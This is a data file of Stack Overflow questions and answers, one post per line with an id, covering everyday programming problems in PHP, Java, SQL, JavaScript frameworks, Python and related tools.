33354772	0	PHP Open SSL Decrypt Failing Inconsistently <p>I'm having some weird behaviour with the <code>openssl_decrypt</code> method in PHP. It's failing, giving me an error: <code>Unknown cipher algorithm</code>, but only <em>sometimes</em> (about 6:10 times) i.e. If I run the command enough times, it will eventually work... My code is: </p> <p><code>$result = openssl_decrypt(base64_decode($hash), 'AES-128-CBC', $timestamp);</code></p> <p>running <code>openssl list-cipher-commands</code> lists AES-128-CBC as one of the available cipher methods. The specs don't really list anything on the subject - only specifying that <code>unknown cipher algorithm</code> is a possible exception from running the command.</p> <p>edit: Using the command line: i.e. running <code>echo "soemthing" | openssl enc -aes-128-cbc</code> on a random machine and then decrypting on the machine that fails with the above <code>echo "..." | openssl enc -aes-128-cbc -d</code> works consistently.</p>
11532902	0	 <p>Growing buttons in Excel is a fairly common issue, with several theories about why this happens, including the use of multiple monitors or using proportional fonts. I have yet to see a definitive answer about this, but there are several workarounds that may work for you.</p> <ol> <li>Delete and re-create the buttons.</li> <li>Programmatically set the height and width of the buttons when the workbook is opened and when a button is clicked.</li> <li>Select the button with another object or two on the sheet and group them.</li> <li>Don't use them at all.</li> </ol> <p>My personal choice is #4. As an alternative to buttons, I either use hyperlinks or shapes with macros assigned to them.</p>
125273	0	 <p>Depending on the admins, automation is helpful. I've had windows admins that want a Word doc with step by step instructions and other admins that wanted a script.</p> <p>However, some helpful things to include, probably as sections</p> <ul> <li>Database changes <ul> <li>Scripts to run</li> <li>Verification that they worked</li> </ul></li> <li>Configuration changes <ul> <li>what are the change</li> <li>where is a version of the new file (In my case they diffed the two, which helped reduced errors concerning production-specific values)</li> </ul></li> <li>General verification <ul> <li>what should be different from the user perspective (feature changes)</li> </ul></li> <li>For web farm deployments, it might be helpful to have a coordination document concerning how the servers need to be pulled in and out of pool.</li> </ul>
30364861	0	 <p>Finaly, I have found out what was the problem. composer.json file in the project I was trying to load - <a href="https://github.com/KoulSlou/UPS" rel="nofollow">UPS library</a> -was invalid. I was able to download files when I ran:</p> <pre><code>composer.phar install </code></pre> <p>but it looks like composer.json file was ignored. I found it out when I ran </p> <pre><code>composer.phar update </code></pre> <p>and got</p> <pre><code>No valid composer.json was found </code></pre> <p>With option -v I got error that "name" is undefined index. So, I simply added "name" field to the composer.json. Final version is:</p> <pre><code>{ "name":"KoulSlou/UPS", "autoload": { "files": [ "libraries/Ups/Ups.php", "libraries/Ups/Ups_Base.php", "libraries/Ups/Ups_Base_Response.php", "libraries/Ups/Ups_Live_Rates.php" ] } } </code></pre>
38698044	0	 <p>You need to skip " on --query param</p> <pre> sqoopcom="sqoop import --direct --connect abcd --username abc --P --query \"queryname\" --target-dir /pwd/dir --m 1 --fetch-size 1000 --verbose --fields-terminated-by , --escaped-by \\ --enclosed-by '\"'/dir/part-m-00000" </pre>
13452637	0	Unable to Launch Chrome Browser in Selenium <p>I am launching chrome browser using</p> <pre><code>selenium = new DefaultSelenium("localhost", 4444, "*googlechrome", "https://example.com/"); </code></pre> <p>But i get a popup with following message and it freezes: </p> <blockquote> <p><em>An administrator has installed Google Chrome on this system, and it is available for all users. The system-level Google Chrome will replace your user-level installation now.</em></p> </blockquote> <p>Console Log till point of freeze:</p> <pre><code>Server started 16:06:37.792 INFO - Command request: getNewBrowserSession[*googlechrome, https://example.com/, ] on session null 16:06:37.796 INFO - creating new remote session 16:06:38.081 INFO - Allocated session beb925cd0418412dbe6319fedfb28614 for https://example.com/, launching... 16:06:38.082 INFO - Launching Google Chrome... </code></pre> <p>Any suggestions?</p>
34215065	0	read XML in SQL, no data being pulled <p>I am trying to retrieve data from an XML file. Below is how the XML doc looks and below that is my SQL code. It will run the code and show column headers - but will not populate with any data. What am I missing?</p> <pre><code>&lt;profile xmlns="http://feed.elasticstats.com/schema/mma/v1/participants-profile.xsd" generated="2015-12-10T17:34:54Z"&gt; &lt;fighters&gt; &lt;fighter id="01585452-852a-4b40-a6dc-fdd04279f02c" height="72" weight="170" reach="" stance="" first_name="Sai" nick_name="The Boss" last_name="Wang"&gt; &lt;record wins="6" losses="4" draws="1" no_contests="0" /&gt; &lt;born date="1988-01-16" country_code="UNK" country="Unknown" state="" city="" /&gt; &lt;out_of country_code="UNK" country="Unknown" state="" city="" /&gt; &lt;/fighter&gt; &lt;fighter id="0168dd6b-b3e1-4954-8b71-877a63772dec" height="" weight="0" reach="" stance="" first_name="Enrique" nick_name="Wasabi" last_name="Marin"&gt; &lt;record wins="8" losses="2" draws="0" no_contests="0" /&gt; &lt;born date="" country_code="UNK" country="Unknown" state="" city="" /&gt; &lt;out_of country_code="UNK" country="Unknown" state="" city="" /&gt; &lt;/fighter&gt; </code></pre> <hr> <pre><code>DECLARE @x xml SELECT @x = P FROM OPENROWSET (BULK 'C:\Python27\outputMMA.xml', SINGLE_BLOB) AS FIGHTERS(P) DECLARE @hdoc int EXEC sp_xml_preparedocument @hdoc OUTPUT, @x SELECT * FROM OPENXML (@hdoc, '/fighters/fighter', 1) --1\ IS ATTRIBUTES AND 2 IS ELEMENTS WITH ( id varchar(100), height varchar(10), last_name varchar(100) ) --THIS IS WHERE YOU SELECT FIELDS you want returned EXEC sp_xml_removedocument @hdoc </code></pre>
6755350	0	 <p>One can retrieve $config from Entity manager like this:</p> <pre><code>$config = $em-&gt;getConfiguration(); </code></pre> <p>To dynamically update entities paths try this (i've not tried it myself):</p> <pre><code>$driverImpl = new Doctrine\ORM\Mapping\Driver\AnnotationDriver(array( APP_PATH . DIRECTORY_SEPARATOR . 'entities' )); $config-&gt;setMetadataDriverImpl($driverImpl); </code></pre> <p>P.S> I think this should work but I've not tried this so plz correct me if this wrong.</p>
36138531	0	AngularJS - $$ChildScope Vs $$childHead && $$childTail <p><code>angular.element($0).scope()</code> gives <code>$$ChildScope</code>, <code>$$childHead</code> and <code>$$childTail</code> as members.</p> <p>On debugging, <code>$$childHead</code> and <code>$$childTail</code> shows the immediate child scopes.</p> <p><a href="https://i.stack.imgur.com/A6Hz8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/A6Hz8.png" alt="enter image description here"></a></p> <p>What does <code>$$ChildScope</code> signify?</p>
17422450	0	 <p>The bracket notation returns DOM elements, which do not have a <code>slideToggle</code> method. What you want is <a href="http://api.jquery.com/eq/" rel="nofollow"><code>.eq</code></a>, which filters in the same manner but returns jQuery objects instead:</p> <pre><code>Div.eq(0).slideToggle(...) ; </code></pre>
13374893	0	 <p>In WCF Ria Services you must put the <code>RoundTripOriginalAttribute</code> on your class members, not on the class itself. It's meant to let you round trip properties mainly for concurrency checks server-side.</p>
33229030	0	 <p>Have you tried doing a <a href="http://www.smarty.net/docsv2/en/language.function.foreach.tpl" rel="nofollow">foreach</a> loop in Smarty?</p> <pre><code>&lt;ul&gt; {foreach from=$myArray item=foo} &lt;li&gt;{$foo}&lt;/li&gt; {/foreach} &lt;/ul&gt; </code></pre>
32417606	0	clear empty spaces array <p>I have this array, and I want go get rid of those indexes that have no value in them, so for example in the index[0] I want to get rid of the [0] and [4] so I would have a 3 value array and so on...</p> <pre><code>Array ( [0] =&gt; Array ( [0] =&gt; [1] =&gt; [2] =&gt; 7 [3] =&gt; [4] =&gt; 8 [5] =&gt; ) [1] =&gt; Array ( [0] =&gt; [1] =&gt; [2] =&gt; 9 [3] =&gt; 10 [4] =&gt; ) [2] =&gt; Array ( [0] =&gt; [1] =&gt; 11 [2] =&gt; 12 [3] =&gt; ) ) </code></pre>
17068150	0	 <p>Solution was to remove all changes and generate the scaffold correctly using:</p> <pre><code>rails g scaffold Category name:string description:text </code></pre>
37744206	0	 <p>Add a <code>flush</code> before <code>close</code> of the <code>OutputStream</code>. </p> <pre><code> response.getOutputStream().flush(); </code></pre> <p>Or If you are using Spring MVC 4.2 you can make use of <code>StreamingResponseBody</code></p> <pre><code>public StreamingResponseBody stream(HttpServletRequest req) throws FileNotFoundException { File file = new File(req.getRealPath("/")+"js/loginPage/usermanual.pdf"); InputStream is = new FileInputStream(file); return (os) -&gt; { IOUtils.copy(is, os); }; } </code></pre> <p>For more information see this <a href="http://shazsterblog.blogspot.com/2016/02/asynchronous-streaming-request.html" rel="nofollow">post</a></p>
12405164	0	 <p>you can use the jquery <code>toogle</code> api</p> <p>html</p> <pre><code>&lt;div id="clickhere "&gt; Click here &lt;/div&gt; &lt;img id="image" src="demo.png" alt="" width="120" height="120" /&gt; </code></pre> <p>jquery</p> <pre><code>$('#clickhere ').click(function() { $('#image').toggle('slow', function() { // Animation complete. }); }); </code></pre> <p>for further reference check this link of <a href="http://api.jquery.com/toggle/" rel="nofollow">jquery .toggle()</a></p>
34551176	0	 <p>A pattern I use for such a thing looks like this…</p> <p>Factory code…</p> <pre><code>angular.module('myApp').factory('MyFactory', function () { var myVar; function MyFactory(param) { myVar = param; this.hello = hello; } function hello() { console.log('Hello ' + myVar); } return MyFactory; }); </code></pre> <p>Then when using the factory and needing to pass parameters…</p> <pre><code>angular.module(‘myApp’).controller(‘MyController’ function(MyFactory) { myFactory = new MyFactory(‘world’); myFactory.hello(); }); </code></pre>
9042497	0	 <p>You may be looking for</p> <pre><code>Document doc = DTE.ActiveDocument; TextDocument txt = doc.Object() as TextDocument; </code></pre> <p>You should then be able to edit work with the TextDocument as needed.</p>
32592333	0	 <p>I had a similar issue and digged quite deep into the polymer code - it seems like there is no way for doing this. I found a quite dirty workaround, using an invisible item, but maybe it helps for you :</p> <pre><code> &lt;paper-dropdown-menu label="List's Color Tag" id="colorTag"&gt; &lt;paper-menu class="dropdown-content"&gt; &lt;paper-item style="display:none"&gt;&lt;/paper-item&gt; {{#each colors}} &lt;paper-item&gt;{{.}}&lt;/paper-item&gt; {{/each}} &lt;/paper-menu&gt; &lt;/paper-dropdown-menu&gt; </code></pre> <p>Than you should be able to set it to display nothing as selected by calling</p> <pre><code>document.getElementById('colorTag').contentElement.selected = 0; </code></pre> <p>I hope it works for you, it is not tested completely as I don't use Meteor and I use special IDs. I have set the invisible item to have the ID -1, so it does not mess with my other IDs. </p> <p>So in my case it looks like this :</p> <pre><code>&lt;paper-dropdown-menu id="carSelector" label="[[label]]" attr-for-selected="car-id" selected="{{selectedId}}" always-float-label &gt; &lt;paper-menu attr-for-selected="car-id" selected="{{selectedId}}" class="dropdown-content"&gt; &lt;paper-item car-id="-1" style="display:none"&gt;&lt;/paper-item&gt; &lt;template is="dom-repeat" items="[[cars]]" as="c"&gt; &lt;paper-item car-id$="[[c.Id]]"&gt; &lt;paper-item-body&gt; [[c.Plate]] &lt;/paper-item-body&gt; &lt;/paper-item&gt; &lt;/template&gt; &lt;/paper-menu&gt; &lt;/paper-dropdown-menu&gt; </code></pre> <p>And the corresponding call : </p> <pre><code>this.selectedId=-1; </code></pre>
23661436	0	how to find result of matched query in php <p>i am having one probelm cant cant figure it out how i can proceed. I have string like </p> <pre><code> "Coolman United States Member Since January 2013 Loans 114.01 Active 66.00 Repaid Credentials 2 followers eBay windchester 42 Friends 2" </code></pre> <p>now with php i need to find the user name that is "Coolman" country, member sience, loans, active, repaid, followers.</p> <p>I know with preg_replace, regex i can find the exact text that is matched. but the problem is there are hundreds of data like this similar pattern, with different username with different countries, different dates etc so how can i have result like this?</p> <p>username : Coolman country:United State Member Since: January 2013 and so on...</p> <p>Thanks for your help</p>
4343289	0	 <p>I see a few pitfalls in your code, there are a few places where things can go wrong:</p> <p>First, use of regular statements. Use <a href="http://download.oracle.com/javase/tutorial/jdbc/basics/prepared.html">prepared statements</a> so you won't have problems with <a href="http://en.wikipedia.org/wiki/Sql_injection">SQL injection</a>.</p> <p>Instead of</p> <pre><code>statement = connection.createStatement(); </code></pre> <p>use</p> <pre><code>statement = connection.prepareStatement(String sql); </code></pre> <p>With this, your query becomes</p> <pre><code>"select distinct group_name From group_members where username= ?" </code></pre> <p>and you set username with</p> <pre><code> statement.setString(1, username); </code></pre> <p>Next, I don't like use of your <code>myDB</code> class. What if results is <code>null</code>? You're not doing any error checking for that in your <code>public List&lt;InterestGroup&gt; getGroups()</code> method. </p> <p><code>public void sendQuery(String query)</code> seems to me like it shouldn't be <code>void</code>, but it should return a <code>ResultSet</code>. Also, search on the net for proper ways to do JDBC exception handling.</p> <p>Also, this line:</p> <pre><code>new InterestGroup(results.getString("group_name"), myDB) </code></pre> <p>Why do you have <code>myDB</code> as a parameter?</p> <p>I'd suggest adding more <code>System.out.println</code> statements in your code so you can see where things can go wrong.</p>
29536075	0	 <p><a href="https://github.com/python-visualization/folium" rel="nofollow">Folium</a> builds on the data wrangling strengths of the Python ecosystem and the mapping strengths of the Leaflet.js library. Manipulate your data in Python, then visualize it in on a Leaflet map via Folium.</p> <p><a href="http://folium.readthedocs.org/en/latest/" rel="nofollow">Documentation</a></p> <blockquote> <p>Folium makes it easy to visualize data that’s been manipulated in Python on an interactive Leaflet map. It enables both the binding of data to a map for choropleth visualizations as well as passing Vincent/Vega visualizations as markers on the map.</p> <p>The library has a number of built-in tilesets from OpenStreetMap, Mapbox, and Stamen, and supports custom tilesets with Mapbox or Cloudmade API keys. Folium supports both GeoJSON and TopoJSON overlays, as well as the binding of data to those overlays to create choropleth maps with color-brewer color schemes.</p> </blockquote>
32467246	0	How to start something on a new line in Java SWING? <p>I am trying to set my JTextArea to take up the max horz length of the screen, so that the next thing, in this case a button, will start on a new line, but I have no clue how to do it. I have messed around by setting the size of the JTextArea to change from, say, 20 to 1000 but that does not do anything. </p> <p>How can I get my textarea to take up the entire first row and then have the next item that I add to begin on the following row? Here is what I have so far...</p> <pre><code>MyFrame(){//constructor super("Simple Calculator"); p = new JPanel(); grid = new GridLayout(4, 4, 3, 3); p.setLayout(grid); setSize(400, 500); setResizable(true); setDefaultCloseOperation(EXIT_ON_CLOSE); setUpTextScreen(); //create buttons for(int i = 0; i &lt; buttonValues.length; i++){ p.add(new JButton(buttonValues[i])); } add(p); setVisible(true); } private void setUpTextScreen() { textOnScreen = new JTextArea(7, 1000); textOnScreen.setText("0");//default textOnScreen.setEditable(false); p.add(textOnScreen); } </code></pre>
3669159	0	 <p>I think a lot of the problem deals with the fact that search engines give something a high rank if a lot of people are linking to a specific page. Unless you can get all the people linking to your old documentation, to link to your new documentation, then you are going to have a problem with the older documents being rated artificially high. In order to overcome this, you might need to change the way you handle documentation pages. One good way would be to always show the newest information on a particular topic, and then only by clicking on a link on the page, do you get to the older versions. Optimally, this would be the same page, with a different parameter, to state which version you want to get documentation for.</p>
29120225	0	VoltDB - decimal values have too many zeroes <p>when I try to add a decimal value to a column in voltdb, it always adds extra zeroes to the decimal. The column type is DECIMAL, which equates to Java's BigDecimal type. Even if I format the BigDecimal value in java to a two decimal place BigDecimal before doing the insert, it still shows up with lots of trailing zeroes in the column.</p> <p>Any idea how to fix this?</p> <p>Thanks</p>
32828720	0	 <p>Consider <a href="http://blog.pasker.net/2010/10/21/use-jdbc-jms-without-jta/" rel="nofollow">1.5 phase commit</a>. Basically:</p> <ul> <li>step 1: You commit the DB transaction</li> <li>step 2: You commit the JMS transaction.</li> </ul> <p>Possible error scenarios: </p> <ol> <li>DB transaction fails.</li> <li>DB transaction sucessful JMS transaction fails.</li> <li>all successful.</li> </ol> <p>Not 1, nor 3 leaves your system in inconsistent state. In case of 1, you just need to resend the message.</p> <p>To handle scenario 2. you need to introduce duplicate check to your system. So essentially your transaction management would look like similar to this:</p> <pre><code>//pseudo code if (isDublicate(message)) commitJMSTransaction(); else doYourBusinessLogic(); doYourDBOperation(); commitDBTransaction(); commitJMSTransaction(); </code></pre> <p>If the JMS transaction fails your message broker will retry to send the message (or you need to resend it manually depending on your broker setup) but you duplicate check will detect it and remove it from the queue.</p>
5087386	0	 <p>You should be able to handle that by conditionally adding a <a href="http://api.drupal.org/api/drupal/developer--topics--forms_api_reference.html/6#redirect" rel="nofollow">#redirect</a> attribute to the form.</p>
6711281	0	 <p>An application using Surface controls needs to use SurfaceWindow as it's root visual in order to do all of the custom touch handling. I suspect that since you're trying to convert this you are probably still using a standard Window which is giving you this error.</p>
23477022	0	Test & Target - Return HTML Content <p>I am not at all a Test &amp; Target expert. I am an Application Architect. I had a discussion yesterday with my colleague, who has huge experience in Test &amp; Target. Today in my website the test &amp; target content is rendered with the below mentioned steps.</p> <p>1) Page loads 2) AJAX call to a T&amp;T url is made. The response is JS with multiple lines of document.write 3) When that JS executes the content AKA html markup is rendered in the page.</p> <p>Above steps does not help search engines to crawl that content. I asked my colleague if instead of sending JS(document.write) response, can you send just the content(html). If that is possible I will call for the content from the server side itself and there by append the content in response for search engine to crawl.</p> <p>He says it not at all possible. I do not believe. With my experience in web application architecture, this should be possible. But my knowledge about the product is ZERO.</p> <p>If anyone things that it is possible, can you please provide steps for doing it. I will share it with my colleague. Thanks a lot.</p> <p><strong>Update</strong></p> <p>As a temporary solution. Is there a way in C# .Net to run document.write JS inside an aspx file. For instance if I do document.write("test"). The text test should be part of response without the document.write js code.</p> <p>Regards, Ravishankar Rajendran</p>
2996094	0	 <p># mysql &lt; create_mysql.sql</p>
7953315	0	 <p>Fetch the root and use </p> <pre><code>qry.ViewAttributes = "Scope='RecursiveAll'"; </code></pre> <p>See also: <a href="http://stackoverflow.com/questions/4192873/query-to-get-all-items-in-a-list-including-items-in-the-sub-folders-in-sharepoin">Query to get all items in a list including items in the sub folders in SharePoint</a></p> <p>And: <a href="http://www.ktskumar.com/blog/2009/07/retrieve-all-folders-from-list/">http://www.ktskumar.com/blog/2009/07/retrieve-all-folders-from-list/</a></p> <p>HTH Alex</p>
5011052	0	 <p>The Python std lib includes a diff module, difflib. Here is a stab at your problem:</p> <pre><code>&gt;&gt;&gt; import difflib &gt;&gt;&gt; f1 = "111xxx222" &gt;&gt;&gt; f2 = "111yyy222" &gt;&gt;&gt; sm = difflib.SequenceMatcher(a=f1, b=f2) &gt;&gt;&gt; diff_re = '' &gt;&gt;&gt; for a,b,n in sm.get_matching_blocks(): ... if not n: continue ... if diff_re: diff_re += "(.*)" ... diff_re += f1[a:a+n] ... &gt;&gt;&gt; print diff_re '111(.*)222' </code></pre>
812502	0	 <p>You might have some luck using <a href="http://en.wikipedia.org/wiki/IKVM" rel="nofollow noreferrer">IKVM.NET</a>. I'm not sure on its exact status, but it's worth a try if you're insistent on running Java code on the .NET Framework. It includes a .NET implementation of the Java base class library, so it seems reasonably complete.</p> <p>The only other option I might suggest is porting the code to the <a href="http://en.wikipedia.org/wiki/J_Sharp" rel="nofollow noreferrer">J#</a> language, a full .NET language (although not first class in the sense that C# or VB.NET is). The language was designed so that the differences with Java were minimal.</p>
26030379	0	 <p>In Chrome 37 on my machine, window.localStorage does sync between tabs. I'm not sure about other browsers though and it wouldn't be reactive automatically if you used that method.</p> <p>You are probably best off using a collection with documents assigned by user ID, then you can rely on Meteor's reactivity.</p>
29800405	0	 <p>Here the script version!</p> <pre><code> using UnityEngine; using System.Collections; using UnityEngine.UI; public class SetTransparancy : MonoBehaviour { public Button myButton; // Use this for initialization void Start () { myButton.image.color = new Color(255f,0f,0f,.5f); } // Update is called once per frame void Update () { } } </code></pre> <p>I tested it in Unity5</p>
24837015	0	 <p>According to the discussion <a href="https://code.google.com/p/topic-modeling-tool/issues/detail?id=3" rel="nofollow">here</a>, people have been using it for French and Russian</p>
38196355	0	 <p>The issue mostly has to do with stale cached data (I experienced the same). The following should solve your problem.</p> <ol> <li>Go to: 'Preferences > Available Software Sites'</li> <li>Mark all, and 'Export' to file.</li> <li>Delete everything (all the links)</li> <li>Close and Start STS</li> <li>Go to: 'Preferences > Available Software Sites'</li> <li>'Import' from the previously saved file.</li> <li>Go to, 'Help > Check for updates'</li> <li>Update</li> </ol> <p>Basically this procedure clears up all the stale data.</p>
38428949	0	 <p>Either call <code>dialog.show()</code>; after all the initialization and interface registration, Or to separate the dialog from your activity for making your code modular, you can do to following:</p> <ol> <li>Create a <code>class</code> extending <code>Dialog</code>.</li> <li>Create a <code>method</code> in your dialog <code>class</code> to accept the <code>OnClickListener</code> and save it at <code>class</code> level inside dialog <code>class</code>. </li> <li>From <code>activity</code> after launching that dialog call than method with your <code>activity's</code> dialog.</li> <li>In your <code>Dialog class</code> set a New <code>OnClickListener</code> on your dialog's button.</li> <li>And onclick of that button just manually give callback to <code>activity's</code> <code>OnClickListener</code>.</li> </ol> <p>Hope it helps!</p>
1301365	0	PHP/Amazon S3: Query string authentication <p>I have been using the <code>Zend_Service_Amazon_S3</code> library to access Amazon S3, but have been unable to find anything that correctly deals with generating the secure access URLs.</p> <p>My issue is that I have multiple objects stored in my bucket with an ACL permission of access to owner only. I need to be able to create URLs that allow timed access. However, <a href="http://docs.amazonwebservices.com/AmazonS3/latest/S3_QSAuth.html" rel="nofollow noreferrer">the documentation for Amazon S3</a> is very brief on the subject.</p> <p>Could someone elaborate, or provide a link to something that explains how I might achieve this in PHP?</p>
33788003	0	JFileChooser GUI opens file XML correctly but then doesn't read it correclty <p>I am trying to do the following exercise:</p> <p>Write a graphics program that allows a user to load an XML file from the disk using a file chooser GUI component. Once the file is open, its content is displayed in a java text area GUI component. A sample XML file can be found on moodle ‘Books.xml’.</p> <p>It works but the xml document is not read correctly. The &lt;> appear. See picture below :</p> <p><a href="https://i.stack.imgur.com/UEOVT.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UEOVT.png" alt="Image"></a></p> <p><strong>1- This is my class ReadFilewithGui:</strong></p> <pre><code>package Tut5Ex2Part1; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JTextArea; import java.awt.BorderLayout; import javax.swing.JButton; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import java.awt.Font; public class ReadFileWithGui { private JFrame frame; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { ReadFileWithGui window = new ReadFileWithGui(); window.frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the application. */ public ReadFileWithGui() { initialize(); } /** * Initialize the contents of the frame. */ private void initialize() { frame = new JFrame(); frame.setBounds(100, 100, 450, 300); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.getContentPane().setLayout(null); JTextArea textArea = new JTextArea(); textArea.setBounds(56, 73, 346, 100); frame.getContentPane().add(textArea); JButton btnGetFile = new JButton("Get file"); btnGetFile.setFont(new Font("Lantinghei TC", Font.PLAIN, 13)); btnGetFile.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { OpenFile of= new OpenFile(); try{ of.PickMe(); } catch (Exception e){ e.printStackTrace(); } textArea.setText(of.sb.toString()); } }); btnGetFile.setBounds(175, 219, 117, 29); frame.getContentPane().add(btnGetFile); } </code></pre> <p><strong>This is my OpenFileClass:</strong></p> <pre><code>package Tut5Ex2Part1; import java.util.Scanner; import javax.swing.JFileChooser; public class OpenFile{ JFileChooser fileChooser = new JFileChooser(); StringBuilder sb = new StringBuilder(); //String builder is not inmutable public void PickMe() throws Exception{ //Opens open file dialog if(fileChooser.showOpenDialog(null)== JFileChooser.APPROVE_OPTION) { //returns selected file. We are using the GUI file chooser java.io.File file = fileChooser.getSelectedFile(); //creates a scanner for the file Scanner input = new Scanner(file); while(input.hasNext()){ sb.append(input.nextLine()); sb.append("\n"); } //closes scanner when we are finished input.close(); } else{ //if file not selected. example cancel botton. sb.append("You have not selected a file"); } } } </code></pre> <p><strong>This is my XML file</strong></p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;catalog&gt; &lt;book id="bk101"&gt; &lt;author&gt;Gambardella, Matthew&lt;/author&gt; &lt;title&gt;XML Developer's Guide&lt;/title&gt; &lt;genre&gt;Computer&lt;/genre&gt; &lt;price&gt;44.95&lt;/price&gt; &lt;publish_date&gt;2000-10-01&lt;/publish_date&gt; &lt;description&gt;An in-depth look at creating applications with XML.&lt;/description&gt; &lt;/book&gt; &lt;/catalog&gt; </code></pre> <p>Any help is welcome! Thanks :)</p>
38700795	0	 <p>A correct solution FWIW:</p> <pre><code>$ awk 'NR==1{n=split($0,d)} {for (i=1;i&lt;=n;i++) printf "%s%s", (i&gt;NF ? d[i] : $i), (i&lt;n ? OFS : ORS)}' file a 12 17 bac 30 42 a 15 18 bac 30 42 a 18 22 bac 30 42 </code></pre>
19971085	0	 <p>Just replace your code With this one 100% tested </p> <pre><code>&lt;?php $xd = 'Sria.plan|Fnzas|139|Lopez%20Portillo%20Alcantara%20Jorge%20Ernesto|29|2013-05-01|0000188B|T|Titular|1984-03-19|2011-07-16|H|341.45|6305|276|153|673.4|7407.4|1185.18|8592.58|8674.75,Sria.plan.fnzas|Tesoreria|1538|Rodriguez%20Guzman%20Noemi|58|2011-05-01|0000188A|T|Titular|1998-12-16|1994-07-09|M|1083.78|20841|276|153|2127|23397|3743.52|27140.5|27222.7,Sria.plan.fnzas|Tesoreria|1500|Martinez%20Rodriguez%20Edith|23|2013-05-01|0000188C|B|Hija|1989-07-25|2006-04-16|M|438.62|8208|276|153|863.7|9500.7|1520.11|11020.8|11103'; $datosCompletos = explode(',', $xd); $longArreglo = count($datosCompletos); for ($i = 0; $i &lt; $longArreglo; $i++) { $arregloInformacion = explode('|', $datosCompletos[$i]); $longInformacion = count($arregloInformacion); $dato = "dato" . $i; for ($u = 0; $u &lt; $longInformacion; $u++) { $final_array[$dato][$u] = $arregloInformacion[$u]; } } echo "&lt;pre&gt;"; print_r($final_array); ?&gt; </code></pre> <p>Output will be </p> <pre><code>Array ( [dato0] =&gt; Array ( [0] =&gt; Sria.plan [1] =&gt; Fnzas [2] =&gt; 139 [3] =&gt; Lopez%20Portillo%20Alcantara%20Jorge%20Ernesto [4] =&gt; 29 [5] =&gt; 2013-05-01 [6] =&gt; 0000188B [7] =&gt; T [8] =&gt; Titular [9] =&gt; 1984-03-19 [10] =&gt; 2011-07-16 [11] =&gt; H [12] =&gt; 341.45 [13] =&gt; 6305 [14] =&gt; 276 [15] =&gt; 153 [16] =&gt; 673.4 [17] =&gt; 7407.4 [18] =&gt; 1185.18 [19] =&gt; 8592.58 [20] =&gt; 8674.75 ) [dato1] =&gt; Array ( [0] =&gt; Sria.plan.fnzas [1] =&gt; Tesoreria [2] =&gt; 1538 [3] =&gt; Rodriguez%20Guzman%20Noemi [4] =&gt; 58 [5] =&gt; 2011-05-01 [6] =&gt; 0000188A [7] =&gt; T [8] =&gt; Titular [9] =&gt; 1998-12-16 [10] =&gt; 1994-07-09 [11] =&gt; M [12] =&gt; 1083.78 [13] =&gt; 20841 [14] =&gt; 276 [15] =&gt; 153 [16] =&gt; 2127 [17] =&gt; 23397 [18] =&gt; 3743.52 [19] =&gt; 27140.5 [20] =&gt; 27222.7 ) [dato2] =&gt; Array ( [0] =&gt; Sria.plan.fnzas [1] =&gt; Tesoreria [2] =&gt; 1500 [3] =&gt; Martinez%20Rodriguez%20Edith [4] =&gt; 23 [5] =&gt; 2013-05-01 [6] =&gt; 0000188C [7] =&gt; B [8] =&gt; Hija [9] =&gt; 1989-07-25 [10] =&gt; 2006-04-16 [11] =&gt; M [12] =&gt; 438.62 [13] =&gt; 8208 [14] =&gt; 276 [15] =&gt; 153 [16] =&gt; 863.7 [17] =&gt; 9500.7 [18] =&gt; 1520.11 [19] =&gt; 11020.8 [20] =&gt; 11103 ) ) </code></pre>
2234101	0	 <p>If you're willing to shell out a little money, there's slickedit <a href="http://www.slickedit.com/" rel="nofollow noreferrer">http://www.slickedit.com/</a></p> <p>I used version 9 on Linux for development of a mixed C/C++ app. The completion is quite good, very similar to Visual Studio. It's worth a look anyway, there's a free trial.</p>
11269893	0	 <p>Unfortunately no one has made a plugin for it yet. It's possible, it would just involve you figuring out how to do it. Might be worth a try. I'm sure a lot of people would use it/find it helpful since there is no plugin that does the job at the moment. </p>
26009744	0	Matlab Substring as function call? <p>I am trying to figure out this substring feature and whether there exists a function call for it or not. As far as I can find, <a href="http://stackoverflow.com/questions/16126847/how-do-i-get-substring-to-work-in-matlab">here</a> and <a href="http://stackoverflow.com/questions/20366333/extract-substring-from-the-last-position-in-matlab">here</a> along with various other places, there simply is no related function for this since strings are char arrays, and so they settled for only implementing the indexing feature.</p> <p>MWE:</p> <pre><code>fileID = fopen('tryMe.env'); outDate = fgetl(fileID); </code></pre> <p>Where the file <code>'tryMe.env'</code> only consists of 1 line like so:</p> <pre><code>2014/9/4 </code></pre> <p>My wanted result is:</p> <pre><code>outDate = '14/9/4' </code></pre> <p>I am trying to find a clean, smooth one liner to go with the variable definition of <code>outDate</code>, something along the lines of <code>outDate = fgetl(fileID)(3:end);</code>, and not several lines of code.</p> <p>Thank you for your time!</p>
4408398	0	 <p>How about iterating over all the static dependency properties (using <code>Reflection</code>) of that control's type and resetting bindings on them?</p>
22271821	0	 <p>If Scala / Java interoperability is not too much of an issue for you, and if you're willing to use an internal DSL with a couple of syntax quirks compared to the syntax you have suggested, then <a href="http://www.jooq.org" rel="nofollow">jOOQ</a> is growing to be a popular alternative to <a href="http://slick.typesafe.com/" rel="nofollow">Slick</a>. An example from the <a href="http://www.jooq.org/doc/latest/manual/getting-started/jooq-and-scala/" rel="nofollow">jOOQ manual</a>:</p> <pre><code>for (r &lt;- e select ( T_BOOK.ID * T_BOOK.AUTHOR_ID, T_BOOK.ID + T_BOOK.AUTHOR_ID * 3 + 4, T_BOOK.TITLE || " abc" || " xy" ) from T_BOOK leftOuterJoin ( select (x.ID, x.YEAR_OF_BIRTH) from x limit 1 asTable x.getName() ) on T_BOOK.AUTHOR_ID === x.ID where (T_BOOK.ID &lt;&gt; 2) or (T_BOOK.TITLE in ("O Alquimista", "Brida")) fetch ) { println(r) } </code></pre>
28291534	0	 <pre><code>if(!empty($_SESSION['c_id']) || !empty($_SESSION['c_id'])) { //Login here } else { //Please Login } </code></pre>
